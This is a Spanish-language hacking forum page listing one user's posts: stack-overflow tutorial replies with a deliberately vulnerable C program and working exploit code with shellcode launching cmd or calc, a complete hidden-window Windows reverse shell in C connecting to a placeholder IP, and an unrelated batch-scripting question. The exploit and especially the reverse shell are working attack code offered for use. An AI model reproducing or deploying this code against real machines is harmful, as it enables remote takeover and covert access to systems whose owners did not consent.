elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado:


  Mostrar Mensajes
Páginas: [1]
1  Seguridad Informática / Bugs y Exploits / Re: <-> Taller de Stack Overflows en Windows, por Rojodos en: 28 Abril 2007, 21:42 pm
Hola de nuevo, he cambiado la shellcode para que en lugar de devolvernos al cmd ejecute la calculadora de windows, es una tonteria, pero lo posteo sólo para jugar con el exploit viendo un resultado diferente.

exploit_vuln1_calc.c

Código:
#include <stdio.h>
#include <stdlib.h>

int main (int argc,char **argv) {

    char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS";

    char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xFB\x63\xC6\x45\xFC\x61\xC6\x45\xFD\x6C\xC6\x45\xFE\x63\x8D\x45\xFB\x50\xBB\xC7\x93\xBF\x77\xFF\xD3";

    char offset[]="\xED\x1E\x95\x7C";
       
    strcat(evilbuffer,offset);
    strcat(evilbuffer,shellcode);
    printf ("Cadena + offset + shellcode en formato printable\n\n");
    printf ("%s", evilbuffer);

   
    argv[0] = "vuln1";
    argv[1] = evilbuffer;
    argv[2] = NULL;
   
    execv ("vuln1.exe",argv);
    }

Un saludo.
2  Seguridad Informática / Bugs y Exploits / Re: <-> Taller de Stack Overflows en Windows, por Rojodos en: 26 Abril 2007, 23:22 pm
Hola de nuevo, si, uso Dev Cpp, sólo por descartar posibles errores chorras, me imagino q´tienes compilado el Vuln1.c, y lo debes tener en la misma carpeta donde tengas compilado el exploit_vuln1.c, de no ser así, si exploit_vuln1.exe no encuentra a vuln1.exe no funcionará.

Un saludo.
3  Seguridad Informática / Bugs y Exploits / Re: <-> Taller de Stack Overflows en Windows, por Rojodos en: 26 Abril 2007, 23:12 pm
Hola Bochan, fíjate en esto...

Mi código:
Código:
"\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45"
"\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50"
"\xBB\xC7\x93\xBF\x77\xFF\xD3"

Tu código:
\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45"
"\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50"
"\xBB\xC7\x93\xBF\x77\xFD\xD3"]

Ya no es el mismo código  ;)

Un salu2.
4  Seguridad Informática / Bugs y Exploits / Re: <-> Taller de Stack Overflows en Windows, por Rojodos en: 26 Abril 2007, 22:48 pm
Hola a todos, quería en principio felicitar a Rojodos por este magnífico tutorial de "Stack Overflows en Windows", me ha encantado.  ;)

Por si a alguien le resultara de ayuda posteo los códigos que adapté para mi Windows Xp SP2 Esp., compilados con Dev CPP.

Vuln1.c

Código:
#include <stdio.h>  // librería stdio.h, funciones básicas de Entrada/Salida
#include <string.h>

int main (int argc, char **argv){  // La función "principal" del programa

    char buffer[64]; //Declaramos un array con 64 bytes de espacio
    if (argc < 2){  // Si los argumentos son menores que 2...
        printf ("Introduzca un argumento al programa\n"); //Printeamos   
        return 0;  // y retornamos 0 a la función main, y el programa acaba
        }
    strcpy (buffer, argv[1]); // Aqui es donde esta el fallo.

    return 0;  // Devolvemos 0 a main, y el programa acaba.
}



exploit_vuln1.c

Código:
#include <stdio.h>
#include <stdlib.h>

int main (int argc,char **argv) {

    char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS";

    char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45"
"\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50"
"\xBB\xC7\x93\xBF\x77\xFF\xD3";

    char offset[]="\xED\x1E\x95\x7C";
       
    strcat(evilbuffer,offset);
    strcat(evilbuffer,shellcode);
    printf ("Cadena + offset + shellcode en formato printable\n\n");
    printf ("%s", evilbuffer);

   
    argv[0] = "vuln1";
    argv[1] = evilbuffer;
    argv[2] = NULL;
   
    execv ("vuln1.exe",argv);
    }

Un salu2.
5  Programación / Programación Visual Basic / Re: Obtener shell por medio de un ejecutable!! en: 28 Julio 2006, 21:54 pm
Hola a todos, excelente trabajo .....::::G.T.S::::..... aquí te dejo un pequeño código para conseguir esa reverse shell, una vez compilado ocupa pocos bytes.

Código:
#include <winsock2.h>
#include <stdio.h>
#include <windows.h>
#pragma comment(lib,"ws2_32")

int main(int argc, char *argv[])
{
    ShowWindow(GetForegroundWindow(),SW_HIDE);
    WSADATA wsaData;
    SOCKET hSocket;
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    struct sockaddr_in addr;
    memset(&addr,0,sizeof(addr));
    memset(&si,0,sizeof(si));
    WSAStartup(MAKEWORD(2,0),&wsaData);
    hSocket = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
    addr.sin_family = AF_INET;
    addr.sin_port = htons(Puerto);
    addr.sin_addr.s_addr = inet_addr("Tu_ip");
    connect(hSocket,(struct sockaddr*)&addr,sizeof(addr));
    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESTDHANDLES;
    si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket;
    CreateProcess(NULL,"cmd",NULL,NULL,true,NULL,NULL,NULL,&si,&pi);
    ExitProcess(0);
}

Un salu2 amigo.  ;D
6  Programación / Scripting / Re: Programación Batch, Entrando en un directorio de nombre desconocido... en: 21 Julio 2006, 19:00 pm
 ;D por fín tengo la solución, gracias al amigo "iobh"

ha dado con una solución simple pero eficiente, le debo una  ;)

Código:
@echo off
cd c:\datos
cd 0*
cd 1*
cd 2*
cd 3*
cd 4*
cd 5*
cd 6*
cd 7*
cd 8*
cd 9*
cd a*
cd b*
cd c*
cd d*
cd e*
cd f*
cd g*
cd h*
cd i*
cd j*
cd k*
cd l*
cd m*
cd n*
cd ñ*
cd o*
cd p*
cd q*
cd r*
cd s*
cd t*
cd u*
cd v*
cd w*
cd x*
cd y*
cd z*
cls
call archivo.exe
pause
exit

lo expongo por si a alguien le pudiera resultar útil su uso.

Un salu2.
7  Programación / Scripting / Re: Programación Batch, Entrando en un directorio de nombre desconocido... en: 21 Julio 2006, 03:21 am
Verás lo de los paréntesis no es un capricho, el código al final lo voy a meter dentro de un Visual Basic Script, en concreto dentro del comando "archivoBat.WriteLine(codigo batch)" y claro, el codigo Batch no puede contener paréntesis, de lo contrario VBS interpreta que se cierra la linea que estoy escribiendo, y se me fastidia el invento...   :P

A ver si damos con alguna alternativa.   :huh:
8  Programación / Scripting / Re: Programación Batch, Entrando en un directorio de nombre desconocido... en: 21 Julio 2006, 03:15 am
Gracias, eso es precisamente lo que estoy buscando, ideas... ideas nuevas, porque yo hace días que me quedé sin ellas...  ;D

Seguro que se puede conseguir...  :rolleyes:
9  Programación / Scripting / Re: Programación Batch, Entrando en un directorio de nombre desconocido... en: 21 Julio 2006, 03:00 am
Hola Lympex, antes de nada, gracias por contestar, verás, sabemos que sólo existe un subdirectorio dentro del directorio "datos", pero no sabemos como se llama ese subdirectorio, por otra parte, si sabemos que ese subdirectorio contiene un ejecutable llamado "archivo.exe", nosé si me he explicado bien.

Ocea esto es lo que sabemos que existe "c:\datos\???\archivo.exe"
??? = al subdirectorio de nombre desconocido.

Otra cosa, quiero crear un bat que lo haga todo automático, lo digo por lo de
Citar
podrías hacer un "dir /s /b c:\datos archivo.exe" y mirar si te ha devuelto alguna ruta y ejecutarla.
no quiero una vez ejecutado el bat tener yo que interactuar de nuevo para conseguir el resultado final.

Un saludo.
10  Programación / Scripting / Programación Batch, Entrando en un directorio de nombre desconocido... en: 20 Julio 2006, 23:24 pm
Hola a todos me ha surgido una duda haciendo una de mis chapucillas en casa.

Os planteo un poco el escenario, tengo un directorio en el disco duro llamado "datos", concretamente es "C:\datos", dentro de este directorio existe un subdirectorio cuyo nombre desconocemos, y dentro del subdirectorio un "archivo.exe". Lo que busco es generar un Bat que sea capaz de ejecutar a "archivo.exe".

Se que muchos de vosotros pensareis menuda chorrada, pero así es  ;D, es mi chorrada y la quiero llevar a cabo, de hecho ya lo tengo, pero no me sirve :'(

Código:
@echo off
cd c:\datos
attrib /s archivo.exe>find.tmp
for /f "tokens=1* delims=datos" %%a in (find.tmp) do set location=%%b
set location=%location:~0,-12%
set location=%location:~1,99999999%
cd %location%
call archivo.exe
exit

Y esto me funciona correctamente, se me ejecuta la aplicación "c:\datos\???\archivo.exe"
pero quiero ver si alguien sabe como conseguirlo con algún otro método, ya q' en concreto lo que me fastidia es tener que usar los caracteres paréntesis "(" ")".

También se me ocurrió para no tener q' recurrir a los peréntesis esta animalada de código:

Código:
cd c:\datos
cd 0*
archivo.exe
cd 1*
archivo.exe
cd 2*
archivo.exe
cd 3*
archivo.exe
cd 4*
archivo.exe
cd 5*
archivo.exe
cd 6*
archivo.exe
cd 7*
archivo.exe
cd 8*
archivo.exe
cd 9*
archivo.exe
cd a*
archivo.exe
cd b*
archivo.exe
cd c*
archivo.exe
cd d*
archivo.exe
cd e*
archivo.exe
cd f*
archivo.exe
cd g*
archivo.exe
cd h*
archivo.exe
cd i*
archivo.exe
cd j*
archivo.exe
cd k*
archivo.exe
cd l*
archivo.exe
cd m*
archivo.exe
cd n*
archivo.exe
cd ñ*
archivo.exe
cd o*
archivo.exe
cd p*
archivo.exe
cd q*
archivo.exe
cd r*
archivo.exe
cd s*
archivo.exe
cd t*
archivo.exe
cd u*
archivo.exe
cd v*
archivo.exe
cd w*
archivo.exe
cd x*
archivo.exe
cd y*
archivo.exe
cd z*
archivo.exe
exit

Jejjee, a que es una auténtica brutalidad  ::) bueno eso lo sé, pero hasta no me importaba si hubiese funcionado, y de hecho funcionó, hasta que el sistema en cuestión de segundos se vuelve inestable, y te ves obligado a cerrar la sesión de windows y volver a entrar. No entiendo porque se vuelve tan inestable, el "archivo.exe" se ejecuta, pero todo lo demás se escoñeta.

Espero ayudita please.  :P

Un saludo amigos.
Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines